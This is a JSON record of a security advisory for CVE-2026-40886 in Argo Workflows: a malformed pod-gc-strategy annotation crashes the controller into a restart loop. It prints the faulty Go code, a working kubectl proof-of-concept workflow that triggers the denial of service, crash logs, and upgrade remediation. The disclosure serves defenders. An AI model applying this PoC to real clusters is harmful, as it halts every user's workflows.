{"id":"CVE-2026-40886","aliases":["GHSA-5jv8-h7qh-rf5p","BIT-argo-workflows-2026-40886","GO-2026-5148"],"title":"Argo Workflows: Unchecked annotation parsing in pod informer crashes Argo Workflows Controller","summary":"Argo Workflows: Unchecked annotation parsing in pod informer crashes Argo Workflows Controller","severity":"high","cvss":7.7,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H","vendor":"argoproj","product":"github.com/argoproj/argo-workflows/v4","ecosystem":"go","affected":["github.com/argoproj/argo-workflows/v4 >= 4.0.0, < 4.0.5","github.com/argoproj/argo-workflows/v3 >= 3.7.0, < 3.7.14","github.com/argoproj/argo-workflows/v3 >= 3.6.5, <= 3.6.19"],"patched":["github.com/argoproj/argo-workflows/v4 4.0.5","github.com/argoproj/argo-workflows/v3 3.7.14"],"published":"2026-04-23","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:50:43.097526471Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-5jv8-h7qh-rf5p","references":[{"url":"https://github.com/argoproj/argo-workflows/security/advisories/GHSA-5jv8-h7qh-rf5p"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40886"},{"url":"https://github.com/argoproj/argo-workflows"}],"tags":["osv","go"],"epss":0.00377,"epssPercentile":0.31632,"ingestedAt":"2026-09-12T03:13:01.756Z","slug":"CVE-2026-40886","body":"## Overview\n\n### Summary\n\nAn unchecked array index in the pod informer's `podGCFromPod()` function causes a controller-wide panic when a workflow pod carries a malformed `workflows.argoproj.io/pod-gc-strategy` annotation. Because the panic occurs inside an informer goroutine (outside the controller's `recover()` scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted.\n\n### Details\n\n`podGCFromPod()` splits the annotation value on \"/\" and unconditionally accesses `parts[1]`:\n\n```go\nfunc podGCFromPod(pod *apiv1.Pod) wfv1.PodGC {\n    if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok {\n        parts := strings.Split(val, \"/\")\n        return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: parts[1]}\n    }\n    return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone}\n}\n```\n\nIf the annotation value contains no \"/\", `parts` has length 1 and `parts[1]` panics with index out of range.\n\nThe code was introduced in [#14129](https://github.com/argoproj/argo-workflows/issues/14129) and  affects versions:\n\n  - 3.6.x: v3.6.5 through v3.6.19 (backport in [#14263](https://github.com/argoproj/argo-workflows/issues/14263))\n  - 3.7.x: v3.7.0-rc1 through v3.7.12\n  - 4.x: v4.0.0-rc1 through v4.0.3\n  - Not affected: v3.6.4 and earlier\n\n### PoC\n\nApply this workflow to a cluster running the Argo Workflows controller:\n\n```bash\nkubectl apply -n argo -f - <<'EOF'\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  name: crash-podgc\nspec:\n  entrypoint: main\n  serviceAccountName: default\n  podGC:\n    strategy: OnPodCompletion\n  podMetadata:\n    annotations:\n      workflows.argoproj.io/pod-gc-strategy: \"NoSlash\"\n  templates:\n    - name: main\n      container:\n        image: alpine:3.18\n        command: [echo, \"hello\"]\nEOF\n```\n\nWithin seconds the controller crashes. The controller pod will show `CrashLoopBackOff` with increasing restart count. Controller logs show:\n\n```\npanic: runtime error: index out of range [1] with length 1\n\ngoroutine 291 [running]:\ngithub.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...)\n    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:176\ngithub.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).commonPodEvent(...)\n    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:197\ngithub.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).addPodEvent(...)\n    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:246\n```\n\nRecovery requires deleting the poisoned workflow:\n\n```\nkubectl delete workflow -n argo crash-podgc\n```\n\n### Impact\n\nAny user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controller is crash-looping. The attacker needs only `create` permission on Workflow resources, which is the baseline permission for any Argo Workflows user.\n\n## Affected packages\n\n- `github.com/argoproj/argo-workflows/v4 >= 4.0.0, < 4.0.5`\n- `github.com/argoproj/argo-workflows/v3 >= 3.7.0, < 3.7.14`\n- `github.com/argoproj/argo-workflows/v3 >= 3.6.5, <= 3.6.19`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/argoproj/argo-workflows/v4 4.0.5`\n- `github.com/argoproj/argo-workflows/v3 3.7.14`","depth":"twilight","depthScore":42,"depthScoreParts":{"impact":42.4,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}